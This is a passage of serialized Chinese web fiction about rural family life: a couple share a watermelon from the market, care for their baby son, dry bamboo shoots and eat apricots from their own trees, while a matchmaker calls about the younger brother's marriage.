逛大集挺累人的,幸好有裴厌抱着星星,眼瞅着太阳大了,星星也看热闹看高兴了,两人往镇外走。 卖瓜果的人不少,最显眼的是西瓜摊子,圆滚滚的西瓜比别的瓜果大多了,贵,不少人路过,不买也要看一会儿,嘴里啧啧叹声,瞧这大西瓜,也不知有多甜。 而裴厌和顾兰时路过之后,星星就换到顾兰时怀里,裴厌抱了个大西瓜,两人高高兴兴去驴车那里。 星星不知道西瓜能吃,只是盯着圆滚滚的大瓜看,末了还把自己看乐了,笑着伸出小胳膊搂住顾兰时脖子。 他俩算回去早的,陈三儿看车场子停了不少驴车骡车,见他俩这么早要回,连忙去解驴绳。 “这西瓜,不小了。”陈三儿看着绿皮西瓜颇有些羡慕,他家可舍不得买,也就前两年家里富裕些时吃过一回。 裴厌笑了下没说别的,只问他要了些稻草。 板车上有两个空竹筐,大的筐子正好能把西瓜放进去,再塞些稻草,路上慢些,不至于颠烂了。 顾兰时抱着星星坐上板车,见儿子忘记了来时的难受,还伸手去摸筐里露出底部的西瓜,便放了心。 第236章 板车晃晃悠悠到了家,刚上官道,星星就在顾兰时怀里睡着了,两人都舒了一口气,睡着就让睡,只要不哭就行。 到家以后,顾兰时单给两个长工做了饭,自己和裴厌也简单吃了些,带着孩子来回逛大集挺累的,饭后他俩照常回屋打了个盹。 从肚子大了以后,到如今星星八个多月,顾兰时都没出过远门,今天总算逛了一回,又吃又喝的,打心底觉得高兴。 申时初,刘大鹅和周大良没有像平时那样出去干活,在院里等着,周大良搓了搓手,嘿嘿憨笑一声。 很快,裴厌从灶房出来,手里木托盘上放了四牙西瓜。 他递给离得近的刘大鹅:“刘哥,你俩去吃。” “嗯嗯。”刘大鹅不断点头接过托盘,西瓜,只看别人吃过。 他和周大良蹲在院里,一人拿起一牙,西瓜的红瓤水大沙甜,几乎是吃起来最痛快的瓜果。 裴厌看向东屋半掩的窗子说道:“兰时,我先给那边送去。” “好,那我等你回来再吃。”顾兰时正在给星星换衣裳,今天喝水多,又尿裤子了,幸好没尿在炕上,不然还得拆洗褥子。 裴厌用竹篮提了半个西瓜出门,用干净布块盖了,省得招眼。 他走得快,到顾家后正好顾铁山几个都在,见他提来了西瓜,个个都喜笑颜开。 裴厌径直进灶房切了一小块下来,又放进竹篮,笑道:“这点儿我给阿奶拿去。” 顾铁山连声应好,给他老娘吃自然是应该的。 裴厌没有多留,西瓜趁新鲜吃才好,又给方红花送了一趟。 这一牙有手掌那么宽,还能分成两牙或三牙,足够老太太一人吃个够。 大伯一家七八口人,若连他们也要分,是分不过来的,再说了,提进小老太太屋里,也没人会说什么,方红花毕竟是最上头的长辈。 看见红瓤绿皮的西瓜,小老太太喜得什么似的。 裴厌说道:“这东西消暑解渴,就是不能放太久,不然不鲜了。” “哎好。”方红花一听这样,更高兴了,正好她近来受了点暑热,不舒坦呢。 裴厌走之后,她自己在屋里吃西瓜,先咬一小口,记忆里西瓜的滋味重新涌现,随后便是一大口,乐滋滋的,连白色瓜瓤都啃了个干净,只留下一层薄薄的绿色瓜皮。 顾铁山苗秋莲几人也是如此。 竹哥儿捧着西瓜坐在小凳上,连红色汁水都不愿意放过,但还是有一些滴在地上,他心中颇为可惜。 花惜霜更是吃得香,她肚子已经大了,狗儿尝了一牙,就把分给自己的一牙递给媳妇。 等裴厌回到家,顾兰时在堂屋,刘大鹅和周大良已经出门了,见裴厌回来,他眼睛一下子放亮,说:“西瓜皮刘哥给牛吃了。” “嗯,我这就去切。”裴厌笑着把竹篮挂在灶房屋檐下的挂钩上,布沾了西瓜水,等会儿得洗洗。 他进去没多久,端着大木盘就出来了,一排西瓜切得好看,在顾兰时眼里分外漂亮。 星星坐在摇篮里,顾兰时用后背挡着他,没让看见西瓜,过会儿再喂给儿子吃不迟。 他和裴厌对面坐下,桌上西瓜切口很平,一弯牙一弯牙排成一排。 “快吃。”裴厌道一声。 顾兰时都没应声,拿起一牙就咬了一口,最中间被他咬出个大大的豁口,又甜又水,和小时候吃的味道一样。 西瓜汁水在口中满溢,那份甜是别的瓜果比不上的,一大口接着一大口,分外痛快,称得上酣畅无比。 吃西瓜不免有声音,为了不让更多的汁水滴下,声音甚至挺大的。 星星原本在摇篮里玩风车和拨浪鼓,一听见动静,立马抬起小脑袋,呜呜疑惑看着阿姆背影。 裴厌在顾兰时对面坐着,吃西瓜不免分开了些腿,头也低着,因此星星也没看到他爹在吃什么。 儿子在身后啊啊叫,顾兰时痛痛快快吃了两牙西瓜才慢一点,又吃了第三牙,这才把啃光的瓜皮放在桌上。 “太大了,星星吃一牙就够撑了,还是切成小的。”他说着,端起一弯牙西瓜就往灶房走。 再过来,星星看见他手里的几牙小西瓜,还不知道可以吃,只是盯着看。 西瓜子已经剔掉了,只剩红红的沙瓤。 顾兰时笑眯眯让裴厌把星星抱出来,一小牙西瓜正好能让孩子咬下去,他递过去:“吃。” 东西递到了嘴边,星星下意识张嘴咬,他已经长了小米牙,西瓜又是沙瓤的,抿进嘴里就全是汁水,沿着小下巴流下来。 “唔——” 星星尝到好吃的了,低头就张大嘴巴啃,顾兰时笑着给他喂:“吃慢些,又没人跟你抢。” 孩子吃西瓜和吮汁水一样,红色西瓜汁沿着他下巴流,蹭到衣服上。 顾兰时喂他吃了两牙,见星星还想吃,就让裴厌抱进屋里,只要别看见,过会儿就忘了。 孩子太小,吃多容易肚子凉,剩下的西瓜自然落进了大人嘴里,顾兰时和裴厌轮换着陪星星在屋里玩耍,没多久西瓜就只剩下瓜皮。 裴厌把瓜皮剁了剁,分给鸡鸭还有狗,毛驴和老母猪也跟着吃了几块西瓜皮消暑。 外头东西都拾掇了,顾兰时才敢抱儿子出来玩耍。 裴厌用畚箕揽了桌上和地上吐出来的西瓜籽出去倒,桌子已经擦干净了,任何吃的都没放,只搁了茶壶茶碗在上头。 星星最近嘴巴馋肚子小还没牙,看见什么吃的都想尝尝,可他又吃不了。 “明儿忙不忙?”顾兰时问道。 裴厌脚步顿住,想了下说:“没什么要紧的,地里活有他俩,我倒是不忙。” 顾兰时说:“趁夏天有,明儿去山里抓几条小白鱼,熬了汤给星星吃一些。” 小白鱼只有山溪才长,大河里没有,吃了对孩子好,长个儿长身体。 裴厌点头道:“好,我知道了。” 他提着畚箕往院外走,见只是西瓜籽,没别的东西,随便倒在院门外就行,手却忽然一顿,放下畚箕又进来拿铁锨。 顾兰时抱着星星也出来,外头宽敞,孩子有时候不爱困在屋檐底下。 “做什么?”他好奇问道,同时也往院外走。 “明年能出苗最好,出不了再种别的。”裴厌笑着往东边篱笆墙走,墙沿下有一小片空地,他挖了一条小土沟,随后把西瓜籽倒进去又埋上。 顾兰时只惦记西瓜好吃了,都忘了还有西瓜籽,他换星星到另一边抱好,说:“还真是,要是长出来,明年咱们说不定就有西瓜吃了。” “出不来也不要紧,想吃再买就是了。”裴厌很快盖好土,又打了半桶井水上来,沿着土沟倒下去。 水渗进土壤里,至于来年如何,等待就是了。 * 黄杏渐渐染上胭脂红,挂在枝头招摇晃荡,惹得人嘴馋生津。 今年五棵杏树都结了果儿,只是不多,稀稀拉拉挂了些,有的藏在叶子底下被遮住,风一吹才能看见那一抹红黄。 顾兰时在树下好一番转悠,最后挑了一棵,拽着树枝,挨个儿捏了捏,发现有两颗杏子较软,他眉眼微弯,将那两颗杏儿都摘下来,用手帕擦擦。 杏子肥圆红黄,第一口咬下去连皮带着酸,他咧着嘴轻嘶一声,然而杏肉却是甜的,让他忍不住再咬一口。 软了的杏子偏甜,不像前两天吃的,酸到牙都受不住,给裴厌裴厌尝一口也不吃,扔给狗,狗闻一下扭头就走了,也不给面子,最后只得丢进鸡圈里。 鸡太多,看见丢进去的东西,呼啦啦全都围上去,争着抢着去啄,生怕少吃一口,倒是没有嫌弃,也不知它们尝出味儿没。 裴厌打着赤脚进门,脚上小腿上都是泥巴,他出门时就没穿草鞋,从水田上来,就懒得洗了,反正走一路回家都得弄脏,不如回来再冲洗。 看见顾兰时又在杏树底下吃杏儿,今天倒是没酸的龇牙咧嘴,他笑着问:“甜了?” “还行,有甜味,但不多,皮是酸的,还是剥掉。”顾兰时说着,上手扒拉杏子皮。 杏子还没软到可以剥皮的程度,他只好用牙啃,边啃边嘶嘶作声,一看就是被酸到了。 裴厌笑了下,没说什么,他自己还好,自打杏子变黄以后,顾兰时天天儿都要看几遍,显然很期待。 他过来也挑一颗红色多的杏儿摘下,用手擦擦,说:“再等等就好了,今年结的还是不多,留着自己吃,不必摘去卖。” “嗯。”顾兰时把啃下来的杏子皮丢向旁边,手里的杏子被他啃得凹凸不平,不过比刚才好吃点,没那么酸了。 他把杏子整个塞进嘴里,说:“这两天李子不是能吃了,明儿去镇上要是碰见,先尝尝,要是甜,买上一篮子回来。” “行。”裴厌答应一声,咬了一口手里的杏,确实比前两天好吃点,有甜味了。 “明年肯定就繁盛了。”顾兰时抬头,说着说着,仿佛面前都出现了满树杏子的情形,不禁乐出声。 裴厌被酸了一下,但忍住了,没有龇牙咧嘴,等酸劲过去后才说:“一定的,今年开始结,往后就到盛期了。” 顾兰时又看看别的果树,满心欢喜:“夏天是杏,再过一两月,秋天石榴、葡萄还有红枣、柿子,就都熟了。” “今年肯定比去年结的多,说不定石榴也能吃了。”他笃定道。 去年石榴也开花了,但最后没结几个石榴,每次提起来都觉得可惜,那么多花儿,石榴咋就一个都没吃上。 裴厌笑着附和:“嗯,今年肯定能吃上。” 第237章 咚咚咚—— 灶房传来切菜声,响了好一阵才停下。 案台上切了一大堆笋片,顾兰时放下刀,用木盆在案台边沿下方接着,用手将笋片全都拨进盆里。 木盆揽了两次,已经满了,沉甸甸的,他一手扶着,一条腿在下方支起,撑着盆底,随后两手端起木盆,走到锅灶旁,将笋片全部倒入水已经滚开的大锅中。 灶房门口还有两筐没剥皮削根的竹笋,昨天下午裴厌和两个长工一起去竹谷挖了两趟,想趁天气好,多晒些笋片干子。 这时节的竹笋没有春秋时那么脆嫩好吃,但秋天还未到,不知道雨水多少,万一雨多,就算挖回来竹笋,都没几天晾晒的工夫,要是碰见连阴雨,还容易受潮发霉。 因此即便夏天笋子不怎么样,不少人家和他们一样,都会趁夏天太阳大多晒一些,到冬天没粮的时候,只要能填饱肚子,吃啥都是香的,谁还管好不好吃。 灶房里一旦烧锅,待一会儿就让人汗流浃背,连头发都打湿,大人都受不住,时不时得出去透透气,更别说孩子。 堂屋。 大黑趴在摇篮旁边吐舌头喘气。 摇篮里,星星坐着,小手摸摸这儿拍拍那儿,拨浪鼓扔在他脚边,鼓面上全是哈喇子,吃空的乳果也丢在腿旁,他嘴里咿咿呀呀,肉墩墩一团,小手又去抓自己脚丫子。 没一会儿又双手抱起乳果,咬着果嘴不断嘬,一个人玩得还挺好。 顾兰时用大勺搅了搅锅里的笋片,又给灶底添把柴火,身上汗水直流,连忙走出来,站在屋檐下的阴影处透风。 他探头往堂屋那边看,正好能看见摇篮里的星星,没哭没闹,正拿着乳果玩儿,小胖手还抱得挺好。 大黑忠心耿耿在旁边看孩子,他也就放心了,一旦有什么动静,大黑肯定会叫。 他没给摇篮里放别的东西,八角风车都没敢给星星玩儿,前两天星星啃风车,口水把彩纸都浸软了,嘴巴里有自己咬下来的纸片。 他发现以后,连忙从星星嘴里把碎纸扣出来,星星还不乐意,转着脑袋不让扣,最后哇哇大哭。 正好,张开嘴巴能看见里头还有没有,他就没哄,让哭了几声,星星还生气了,不让他抱,趴在裴厌肩头,过了好一阵才忘了扣嘴巴的事。 那天上午啃了风车,下午又啃拨浪鼓,顾兰时看见,连忙看了看拨浪鼓,鼓面和鼓棒还好,连在一起挺结实,就是上面的小鼓槌让人担心,。 好在鼓绳绑的够结实,鼓槌好好被固在上面,就星星那两三颗小米牙,是咬不烂鼓绳的,也不会吞下小鼓槌。 看一眼孩子,顾兰时又进灶房,笋片焯好之后,又用大漏勺舀进倒了冷水的木盆里,浸过之后再捞出,他端盆到院里。 两个木架放了八个大竹匾,全晒的是笋片,院里还铺了一张竹席,他把盆里的笋片倒上去,蹲下用手铺平。 半上午太阳威力已经挺大了,铺好后他连忙端了木盆又回灶房,坐在阴影里把剩下两筐竹笋该剁根剁根,该剥皮剥皮。 今年冬天又多一个人吃饭,相应的,裴厌也会让周大良一起去挖野菜找山货,天天都得晒些晾些菜干子什么的,一袋一袋变多。 说起来,去年冬天囤的干菜挺多,还卖了些,三个大人正好吃到了开春以后。 冬春交际,正是青黄不接的时候,幸好弄得多,他们没有缺菜和粮吃。 手上正忙着,灰灰不知跑去哪里玩了,身上带着草籽和土屑,跑回来站在灶房门口冲他叫。 顾兰时心领神会,给三个狗食盆里都舀了净水。灰灰舔水喝得很起劲,显然渴了。 顾兰时又坐回灶房剥笋衣。 至于灰仔在哪里他没有去找,他们家三只狗别的不说,心眼子还是有的,平时也不乱跑,顶多就是去村里找别人家的狗玩耍,玩一阵饿了渴了就跑回来了,前天他回家转,没想到看见灰仔在院里和二黑玩耍,他爹还给喂了食吃,今天说不定又去了。 水牛自己出门吃草泡水去了,原先顾兰时和裴厌还担心它独自在外面会被人牵走,后来发现水牛认人了,他俩还有刘大鹅周大良都能牵出去,上回顾铁山和顾兰瑜过来,玩笑着去拉牛绳,水牛梗着脖子不动。 这么大一头公水牛,牛角也大,出去了外人瞧见,再心喜都不会轻易上手拉拽,惹怒了被顶一下可不是小事。 因此最近家里要是忙,没人腾得开手去放牛,水牛受不住天热,自己跑去河里泡着,到下午找回来就行,没有拘束它。 大黑几个渐渐也不怎么看牛了,下午或傍晚,见人要出门找牛,它几个会跑在人前面,先一步找到河里的牛,再站在河边汪汪汪叫,昂首挺胸很得意,尤其灰灰和灰仔。 顾兰时有时候很好奇,怎么人说的话做的事,它们也能明白。 竹笋剥了十来个,星星突然哭起来,他撂下手里的活,赶忙又去看孩子,原来是乳果被星星自己丢到了摇篮外面,自己抓着摇篮边沿,想站起来却碰到了脑袋。 顾兰时看着儿子泪眼汪汪的模样,笑着抱起来在怀里哄。 * 碗里洗净的杏子黄中透红,已经变得甜软。 顾兰时拦住伸向碗里的小手,星星没有得逞,抿抿小嘴巴,小手拍着桌子啊啊叫两声催促。 “小馋猫。”顾兰时眼睛弯弯,把杏子皮剥掉以后,掰下一半杏肉递给儿子,随他在手里捏着吃,手和衣裳脏了都能洗,要是一口口都追着喂,还不得累死。 星星吃东西很少挑嘴,吃得也好,只有他嘴馋流口水,没有追着喂的时候。 想起儿子的小米牙,顾兰时吃掉另外半颗杏肉,杏核放进另一个碗里,说:“啊——张嘴巴,让阿姆看看牙。” 星星能听懂啊——的意思,小嘴巴张开,又笑嘻嘻把捏烂的杏肉塞进嘴里,闭上嘴巴不让看了。 “出息。”顾兰时笑骂道。 又有两颗乳牙冒了尖,孩子说长牙就长了,近来许是长牙不舒服,总会哭闹,有时不论谁抱着,星星低头就咬胳膊咬肩头,裴厌去镇上送货,顺便就买了几支花椒木做的磨牙棒,给他去嘬去咬。 等星星再长大些,就能啃动馍馍了。 顾兰时又拿起一个杏子吃,他自己倒不用剥皮,杏子皮已经不酸了。 星星坐在椅子上,胖乎乎一团,小大人一样往后靠住椅背,吃完嘴里的杏肉又啊啊叫,催促阿姆给他剥。 自家种的果子随吃随摘,这两天杏子软了,家里人过来串门,无论大的小的,进门先往杏树底下走,摘两个连洗都不用,用手擦擦就能吃。 顾兰时特意让狗儿摘了半篮回去,给花惜霜吃,至于竹哥儿,他随时过来就能吃,自己也懂事了,不会馋小嫂嫂那一份。 一大一小吃杏子都高兴,没多久裴厌回来了。 他如数把钱交上。今天又去了一趟府城,花成方在郑宅小管事做得稳,除了鸡蛋,拉去一些新鲜山货野味,也会捎带着收去厨房,能多赚一点。 卖货有路子,每月的进项就稳,零零总总加起来,这个月又有一两多了。 顾兰时收好钱出来,就看见裴厌站在星星坐着的椅子前面,正给儿子剥杏。 他太高,星星仰着脑袋盯杏肉。 顾兰时笑道:“再吃一个就端走,你到灶房去吃,已经吃了好几个了,就算杏肉软烂,也不好叫他多吃。” “行,我知道了。”裴厌剥下杏子皮,把杏核去掉,杏肉都给了星星。 星星很高兴,小手摧残杏肉,捏的不成样子,砸吧着小嘴巴冲爹爹呜呜学语,谁也听不懂他在说什么。 * 太阳被云层遮住,远处天际似有阴云渐渐上来。 顾兰时烧了水,趁半下午还有些热意,给星星洗了澡,胖手就不说了,吃杏肉吃的胸脯和腿上都黏糊糊。 每次给儿子洗澡,两人都笑眯眯的,星星肥嘟嘟,坐在澡盆里那叫一个好玩儿。 趁着锅里有水,长工也不在,顾兰时和裴厌都洗了头洗了澡,头发干了以后,浑身都舒爽。 星星在炕上爬,最近爬的越好了,手脚并用蹭蹭蹭,不是往阿姆就是往爹爹怀里爬,被夸两句,就乐得咯咯笑,甚至啊啊叫。 有孩子以后,家里很少清静过了。 顾兰时和裴厌有时会觉得耳边嗡嗡的,但从不觉得星星烦人,孩子不就这样,况且星星乖乖玩耍,还有安安静静睡觉的时候,真是让人打心眼里稀罕。 夜色融融,月光不甚明亮。 顾兰时拍睡孩子以后,翻个身和睡在外侧的裴厌说话。 “娘说后天去看看大姐姐,要是明天没下雨,我也跟着去,爹赶牛车,走得慢,我带星星一起。” “好。”裴厌低低应一声。 嗓音沉而悦耳,像是有什么在心尖上扫过,痒痒的。 顾兰时说不上是什么感觉,不自觉弯起唇角,忍不住往裴厌那边蹭了蹭,抱着人又把耳朵贴上去,去听裴厌沉稳的心跳声。 他忘记自己是什么时候发现的,每次只要一听到,心里就很踏实,所有不安和危险,仿佛都被挡在远处。 偶尔夜晚噩梦惊醒,只要摸到裴厌在旁边,噩梦带来的阴霾云散烟消,再不会困扰到他。 裴厌温柔而顺从,从不推开顾兰时,并且留恋于夫郎对他的依赖,他只会抱着顾兰时。 这是他唯一拥有的,也庆幸自己抓住了——险之又险。 差一点就错过。 第238章 夏末的变化不甚明显,没下雨,天只是没有炎夏时那样闷热,草鞋薄衫依旧,只在早晚增添一两件。 “木、木……” 星星手脚并用从炕尾爬过来,看见顾兰时手里的鸡蛋,连换坐姿都来不及,抬起一只小手就要去抓。 顾兰时挡住儿子的手,鸡蛋剥好掰成两半,露出里面的蛋黄。 他胳膊抄在星星咯吱窝底下,把孩子抱起换了坐姿坐在炕上。 星星有点着急,又发出几声类似木、姆的声音。 顾兰时笑眯眯先给儿子喂了一点蛋白,星星吃的很好,一口接一口,小嘴砸吧着,吃高兴了,冲他露出个笑。 星星九个多月了,胳膊腿脚越发有力,别看肉嘟嘟,劲儿不小呢,如今也出息了,听着听着,知道阿姆是谁爹爹是谁,还会叫人了,尽管叫得不准,有时也懒,还得大人用吃的引诱,才愿意张口。 蛋黄孩子容易噎到,顾兰时把蛋黄放进空碗里,用小木勺压碎压面了,挖一点蛋黄,又用勺子从水碗舀了一点温水,和着喂进星星嘴里。 “松嘴松嘴。”顾兰时笑着往外拽木勺。 星星抿着不放,小木勺被拽出来以后,他嘴巴上沾着蛋黄,咯咯笑出声,以为在玩耍。 顾兰时无奈,但见孩子高兴,他笑着又喂一小勺。星星玩归玩,吃东西从来都不含糊,别看这么小,已经能边玩边吃大半个鸡蛋了。 家里别的没有,鸡蛋是管够的,天天都可以从鸡窝里摸最新鲜的鸡蛋煮给孩子吃。 有时顾满自己跑过来找弟弟玩耍,顾兰时也会多煮两个给侄儿吃。 “呜。”星星看见跑进来的灰灰,小手指着狗,转头又看向顾兰时。 “噢,灰灰来了,来找我们星星。”顾兰时笑眯眯的。 星星看见狗没有要下炕玩,瞅见小木勺又递来了,张嘴就咬住。 顾兰时惊讶:“哎呦,这么大的嘴巴。” 星星笑个不停,两只小手拍了拍。 见他因为笑,嘴里刚吃进去的东西又漏出来,顾兰时用手帕给他擦干净,也不敢再逗着玩儿了,还是吃东西要紧,不然全糟蹋了。 吃到后面,星星心思明显放在了玩闹上,扭过脸不愿再吃了,顾兰时没有追着喂,放下碗到一旁,抱着孩子下了炕。 灰灰摇着尾巴跟在后面,汪汪叫像是在逗孩子玩,星星笑一声它叫一声。 一路走到院外,顾兰时径直往东边葡萄架下走。 葡萄藤枝叶繁茂,投下一片阴凉,他和星星同时抬头看,一小爪一小爪的绿色小葡萄已经挂了许多串,葡萄还很小,又绿又涩,还没到成熟的时候。 前面,枣子、柿子还有石榴都挂了果,同样小而生涩。 顾兰时抱着儿子从葡萄架下穿过,又往东边石壁那边走,除了桑树香椿树以外,还栽了几棵从山上挖来的核桃苗。 去年核桃树还挺争气,除了最里面那棵树苗只结了一个核桃,其他树都结了十来个,连一篮子都没摘满,可剥了青皮后砸开,个个都是饱满的,核桃肉再剥了皮,又白又脆又甜。 星星看见挂在核桃树枝上的青皮果,啊啊伸手想摘,顾兰时赶紧抱着他走开。 自己儿子自己知道,星星手里无论拿了什么,都要扣扣捏捏,核桃青皮抠破以后,容易把手染黑。 在家没事,正好裴厌背了一筐野菜进门,顾兰时说一声,就抱星星往外走。 灰灰一看要出门,屁颠屁颠跟上了。 裴厌把野菜倒出来,择择里头混的杂草和带了泥的根部,打水淘洗两遍,弄干净以后,铺在旧席子上晾开。 房顶、木架上都放了竹匾,晒着各种菜干和草药。 听见母鸡咯咯哒叫,他起身提了蛋篮往鸡圈走,独自在家忙碌。 另一边,顾兰时进了家门,见堂屋有人,他笑道:“婶子。” 方金凤看见星星,忙不迭放下茶碗,伸手想接过去抱抱。 因是生人,星星扭过脸,小手扒拉顾兰时脖子,搂的还挺紧。 方金凤直笑,冲星星拍拍手,再逗了几句,最后还是没抱成,她又坐回去,和苗秋莲笑着说了几句家常话。 顾兰时没在堂屋多待,进了原先自己的屋子,如今只剩竹哥儿一个人住。 “兰时哥哥。”竹哥儿刚从炕上下来,正在靸鞋,见他进来,干脆又放下鞋坐了回去。 顾兰时把星星放在炕上,拍拍小屁股让他自己去爬,瞅一眼没被关上的房门,能听见外头的说话声。 他坐在炕沿,笑眯眯看一眼弟弟。 “来,过来。”竹哥儿和星星说话,让小外甥往自己这边爬,星星越发结实了,瞧这胖胳膊胖腿,在村里都是出名的奶胖娃娃。 不想一抬眼,就看见他兰时哥哥的笑脸。 方金凤平时来串门子还好,今天和苗秋莲一副谈正事的模样,想不看出来都难。 竹哥儿有点羞窘,便嚷嚷开来:“哎呀呀,你看我做什么,你又不是没经过。” 顾兰时当初也是这样,那时候还是他们两人一起躲在屋里说悄悄话,然而那次方金凤上门说媒,是替林家搭话的。 话一出口,才方觉不妥。 竹哥儿话音一顿,大气没敢喘,小心翼翼去瞅顾兰时脸色。 顾兰时依旧笑眯眯的,林晋鹏那事儿是恶心,但已经过去好几年,现在回想,竟觉得那些人和事变得陌生起来,他竟然和林晋鹏定过亲。 那人长什么样来着? 他回忆了一下才记起,随后和竹哥儿对视上,见弟弟一脸不安,他笑道:“我怎么了?我就看你一眼,我可什么都没说。” “你……”竹哥儿被气到,一下子忘记了忐忑,他恶狠狠抱起星星,在小外甥肉脸蛋上狠狠亲一口。 星星哇哇乱叫。 见外甥没哭,竹哥儿又嘬一口他肉乎乎的脸蛋,末了傻笑一下问星星:“还挺香,吃什么了?怎么亲起来都是甜的。” 顾兰时被弟弟逗笑,随后才低声问道:“金凤婶子替哪家上门的?你知道?” 竹哥儿让星星坐在他腿上,轻轻捏一下外甥的小肥手,他也压低了嗓子:“不知道。” 顾兰时翻了个白眼:“做什么吃的,连这个都不知道。” 竹哥儿笑,又逗一下星星,说:“我只听了个大概,好像是杏水村那边的。” “大姑妈不就在杏源村,和杏水村挨着,回头爹娘肯定要找她打听打听。”顾兰时见桌上有米糕,拿起一块咬一口,若有所思。 杏水村离他们村有点远,平时不大过去,可不知道为什么,总觉得有点熟悉。 他嘴巴一动,星星就看过来。 顾兰时一顿,坏了,忘了避开儿子。好在星星只是瞅一眼,又和小嬷玩起来,想必是刚才吃过鸡蛋,这会子不饿。 他放心吃米糕,思索一下想起裴厌曾经跟他说的,裴家那个姑姑,不就嫁去了杏水村,裴厌还曾经找对方做了两双布鞋,但姑丈一家不愿跟裴厌来往,因此再没去过。 他独自想了一阵,和裴家姑姑从没来往过,再说了,人家姓裴,和顾家又没什么关系,便不再烦恼。 有竹哥儿哄星星玩儿,他脱鞋上了炕,靠坐在炕头好歇歇。 没多久,方金凤走了,苗秋莲进来看他们三个。 抱着胖外孙,苗秋莲爱得什么似的,也就顾兰时嫁的离家近,随时都能见着。 “娘,怎么样?”顾兰时原本百无聊赖,一下子来了精神。 苗秋莲摸摸外孙小脑瓜,说:“杏水村的,姓李,李姓在那边是大户,听你金凤婶子说的那样,家里挺好,兄弟姊妹都多,不是单薄的人家。” “牛、骡子都有,田也多,回头啊,我让你爹去趟你大姑妈家,同你姑丈去打听打听,你大舅舅二舅舅那边我再嘱咐一下,多打听几遭,总没错。” “竹哥儿还小呢,这刚踅摸,又不着急。” “可不是。”顾兰时附和道,心想确实,才十五岁,今年慢慢找,到明年定下,后年再嫁,来得及,他们家也算是殷实的人家,找个门当户对的才是正理。 “前两天你大嫂回娘家,倒是说村里有合适的,只是还没找着机会去问问,今儿你婶子就来了。”苗秋莲边说边琢磨,又道:“还是得去张家村一趟,正好是你大嫂娘家,好打听。” 就剩竹哥儿一个幺儿,她心里不舍得,自然要多比对比对,寻个最合适的。 而且之前经过林晋鹏的事,让她和顾铁山有了各种顾忌,他俩暗地里总会合计合计小儿子的亲事,可每列出一家,心里都打嘀咕,生怕再遇着个人面兽心的。 这话她没有当着顾兰时的面儿说,也从不在家里小辈面前提起,毕竟是件闹心的丑事,只和顾铁山念叨唾骂几句。 顾兰时又笑着去看竹哥儿,竹哥儿轻哼一声掩饰羞窘,扭过脸的架势倒和星星有点像。 * 山明水净夜来霜,数树深红出浅黄。 风变凉,秋到了。 竹哥儿的亲事还在踅摸、思虑,顾兰时和裴厌今年新养的小母鸡下蛋了。 今年养鸡越发顺手,没事就赶出来在外面抓虫吃草,还给砸河螺挖地龙剁泥鳅,小母鸡一个个养得圆滚咕噜,肥肥壮壮的,下完蛋咯咯哒的叫声中气十足,听着就像是下蛋好手。 比起公鸡,小母鸡的叫声肯定娇一些。 顾兰时不说,裴厌伺候母鸡十分尽心,养得壮他心里有了底,今年再挑三十只养在暖屋,下蛋不愁了。 至于那十九只公鸡仔,如今剩下十只了,半大的小嫩鸡要好吃一点,星星也能喝两口嫩鸡汤打打牙祭。 顾兰时早就把十只公鸡安排好了,每个月吃两只,能吃五个月呢。 第239章 枣子蒂部有了一点红,顾兰时拽下枝条,捡着有一点点红色的枣子摘了两个,用手帕擦擦就啃。 第一口没啥滋味,枣儿也硬,明显吃不得,他随手丢在一旁。 第二个枣子还好点,有了一点甜味,没有那么硬实,他塞进嘴里咔嚓咬,又在树下转一圈。 比起别的果树,枣树结枣子快,今年结的挺繁盛,一颗颗挂在枝头随风摆,就是树还小,枝干就那么些,再长一些年头才能成大树。 顾兰时心知还没到吃枣的时候,不再乱摘糟蹋了。 他这棵看看那棵瞅瞅,心想幸好有五棵树,今年怎么都能打一麻袋多枣子,说不定有两麻袋呢,往后就不用上家里要枣吃了。 周大良拉着一车草进门,后头刘大鹅背着竹筐,筐里是特意挑的嫩野菜。 “刘哥,野菜放灶房门口就成,我等会儿再拾掇。”顾兰时道。 “嗯嗯。”刘大鹅闷着点头,也没有去看顾兰时,只连声答应,太阳在头顶,他俩眯着眼擦汗,一路进了院子。 顾兰时在菜地挖了一棵大春菜,挎掉最外面的几片老叶子,直接丢进东边鸡圈里,小母鸡们一看有吃的,跑得都很快。 进院之后,见周大良在谷场上倒草,他看一眼,独自在灶房门口忙。 哐当一声响,院里连人带狗都看过去,周大良从板车底下捡起掉落的一块木板,挠挠头说:“得再钉钉。” 裴厌没在,他瞧一眼顾兰时,心中不免有些忐忑,毕竟是他弄坏的。 顾兰时还以为出了什么事,站在那边扬声道:“周哥,你看看柴房还有杂屋,找几个钉子钉上去。” 刘大鹅拿了扫帚过来,把板车上余落的草和土屑都扫干净,说:“你先拉到那边,我把草摊开过去帮忙。” “成。”周大良心中松快了,没挨骂最好,修修补补什么的都好说。 还没找到钉子,裴厌回来了,一眼就看到院里的板车露出一个洞。 顾兰时坐在灶房门口择菜,说:“掉下来一块板子,钉上去就行。” “嗯。”裴厌走过来,放下竹筐和篮子,一筐子秋笋很鲜,竹篮里菌子不少,还有许多黑绿的地皮菜。 他过去围着板车看,说道:“昨天赶车从府城回来,我就听到响动,想着回来修补修补,还没来得及看,它就掉了。” “买回来就是旧车,没一整块的车板结实。”顾兰时随口应道。 裴厌想了一下,说:“等会儿我去找徐木头,让他做一个新的,比这个做的大些。” “这个补一补,留在家里打草用。” 顾兰时抬头看过去,听完点点头:“嗯,是该换一个了。” 多一架车也挺好,裴厌隔三差五就要赶车去镇上去府城,带了鸡蛋根本不敢跑快,因此每次都要半天甚至更久,刘大鹅和周大良要是出门打草,只能一趟趟用竹筐背,不如车装得多还省事。 听见星星哭起来,顾兰时赶忙拍拍手,起身往屋里走。 抱儿子出来撒尿,刘大鹅和周大良找到了钉子和锤子,在板车上敲敲打打。 他问道:“晚饭炒个春菜,再做个拌豆腐?再买点豆皮,明天煮疙瘩汤吃,切一些豆皮丝和豆腐丁子放进去。” 裴厌正在洗手,打算喝水吃点米糕垫垫肚子,跑一趟山上也渴了,闻言开口:“行,多买两块,明天再用猪油煎几片,撒些辣子粉。” “好。”顾兰时笑着答应,见星星尿完了,他抱回去,喂孩子喝两口温水,便用布兜将儿子背在背上,提了篮子出门买豆腐。 裴厌不着急出门找徐木头,坐在堂屋先歇脚倒茶喝。 另一边,顾兰时路过家门,见他娘在院里,抬脚跨进门槛。 星星在他背上挥小手,苗秋莲抬头看见,笑问道:“兰时,带星星上哪里?” 顾兰时反手往脖子处摸,拿开星星揪着他衣领的小手,说:“去买豆腐。” 他张望一下,问:“霜儿不在家?” 